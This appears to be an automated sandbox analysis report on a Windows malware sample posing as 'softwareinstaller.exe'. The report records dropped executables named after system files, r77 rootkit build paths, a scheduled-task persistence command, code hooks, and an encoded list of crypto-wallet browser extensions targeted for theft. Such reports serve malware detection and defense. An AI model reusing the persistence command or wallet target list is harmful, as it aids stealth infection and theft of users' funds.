Source: 0.3.softwareinstaller.exe.d70000.0.unpack, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV
Source: 0.3.softwareinstaller.exe.d70000.0.unpack, Arguments.cs	Base64 encoded string: 'H10LGTxAPQgiWx0ELV0mDgE1dggpMQ0CKiwxWQQ1GwgQIS8EFFw5AQchegghMS8LLFw6DjxAdwQpPQoVAzs2WSgVc1I='

Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Mutant created: \Sessions\1\BaseNamedObjects\Microsoft{5a7c2b28-e152-4c69-88f1-288764f0bf1a}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6016:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2816:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:684:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:576:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:404:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5984:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4956:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2416:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4180:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5916:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2096:120:WilError_01
Source: C:\Users\user\AppData\Local\Google\brave.exe	Mutant created: \Sessions\1\BaseNamedObjects\DiAjAaAa__shmem3_winpthreads_tdm_
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1264:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5132:120:WilError_01
Source: C:\Windows\GoogleUpdate.exe	Mutant created: \Sessions\1\BaseNamedObjects\GoogleUpdate{825b2ad2-5778-421f-86b5-fbf0592aa463}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5064:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5796:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1556:120:WilError_01

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\GoogleUpdate.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\GoogleUpdate.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: softwareinstaller.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: GoogleUpdate_unsigned.pdb source: GoogleUpdate.exe, 00000030.00000000.341530735.0000000001101000.00000020.00000001.01000000.0000000E.sdmp, GoogleUpdate.exe.24.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\Release\r77-x86.pdb source: vbc.exe, 00000002.00000002.421811030.0000000004AF0000.00000040.00000010.00020000.00000000.sdmp, ofg.exe, 00000015.00000002.520221826.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, ofg.exe, 00000015.00000002.516810650.00000000007D0000.00000040.00000400.00020000.00000000.sdmp, ofg.exe, 0000001A.00000002.519216096.0000000000EE0000.00000040.00000400.00020000.00000000.sdmp, ofg.exe, 0000001A.00000002.522035673.0000000000F90000.00000040.00001000.00020000.00000000.sdmp, conhost.exe, 00000036.00000002.536558273.0000000001210000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb source: brave.exe, 0000000D.00000002.407034650.000001A8843D2000.00000004.00000020.00020000.00000000.sdmp, 66BC.tmp.13.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb- source: brave.exe, 0000000D.00000002.407034650.000001A8843D2000.00000004.00000020.00020000.00000000.sdmp, 66BC.tmp.13.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\Install.pdb source: brave.exe, 0000000D.00000002.407034650.000001A8843D2000.00000004.00000020.00020000.00000000.sdmp, 66BC.tmp.13.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Windows\GoogleUpdate.exe

Unpacked PE file: 48.2.GoogleUpdate.exe.1100000.0.unpack .text:ER;.data:W;.idata:R;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 13_2_00007FF756142598 push rbx; retf

13_2_00007FF75614259A

Source: C:\Users\user\Desktop\softwareinstaller.exe

Code function: 0_2_00D314C0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00D314C0

Source: conchsvt.exe.2.dr

Static PE information: 0xC91EEA10 [Thu Dec 3 18:40:16 2076 UTC]

Source: softwareinstaller.exe	Static PE information: section name: /4
Source: softwareinstaller.exe	Static PE information: section name: /14
Source: softwareinstaller.exe	Static PE information: section name: /29
Source: softwareinstaller.exe	Static PE information: section name: /41
Source: softwareinstaller.exe	Static PE information: section name: /55
Source: softwareinstaller.exe	Static PE information: section name: /67
Source: softwareinstaller.exe	Static PE information: section name: /80
Source: conhost.exe.2.dr	Static PE information: section name: .vmp-.!0
Source: conhost.exe.2.dr	Static PE information: section name: .symtab
Source: conhost.exe.2.dr	Static PE information: section name: .vmp-.!1
Source: conhost.exe.2.dr	Static PE information: section name: .vmp-.!2
Source: conhost.exe.2.dr	Static PE information: section name: .vmp-.!3
Source: brave.exe.2.dr	Static PE information: section name: .xdata
Source: updater.exe.13.dr	Static PE information: section name: .xdata
Source: 66BC.tmp.13.dr	Static PE information: section name: _RDATA

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp-.!3

Source: updater.exe.13.dr	Static PE information: real checksum: 0x2ce193 should be: 0x2c34ef
Source: softwareinstaller.exe	Static PE information: real checksum: 0x3f59d should be: 0x3820d
Source: brave.exe.2.dr	Static PE information: real checksum: 0x2ce193 should be: 0x2c34ee
Source: svchost.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x1e30b
Source: 66BC.tmp.13.dr	Static PE information: real checksum: 0x0 should be: 0x5841e
Source: ofg.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x1938e

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\AppData\Local\Google\chrome.exe

Executable created and started: C:\Windows\GoogleUpdate.exe

Drops PE files with benign system names

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

File created: C:\Users\user\AppData\Local\Temp\svchost.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Temp\conhost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Google\brave.exe	File created: C:\Program Files\Google\Chrome\updater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Google\brave.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Google\chrome.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Temp\svchost.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Google\ofg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Google\brave.exe	File created: C:\Users\user\AppData\Local\Temp\66BC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Google\chrome.exe	File created: C:\Windows\GoogleUpdate.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Google\chrome.exe

File created: C:\Windows\GoogleUpdate.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\GoogleUpdate.exe	Memory written: PID: 684 base: 660005 value: E9 FB 99 28 77
Source: C:\Windows\GoogleUpdate.exe	Memory written: PID: 684 base: 778E9A00 value: E9 0A 66 D7 88

Found hidden mapped module (file has been removed from disk)

Source: C:\Users\user\AppData\Local\Google\brave.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\MICROSOFT\CLR_V4.0_32\USAGELOGS\POWERSHELL.EXE.LOG

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
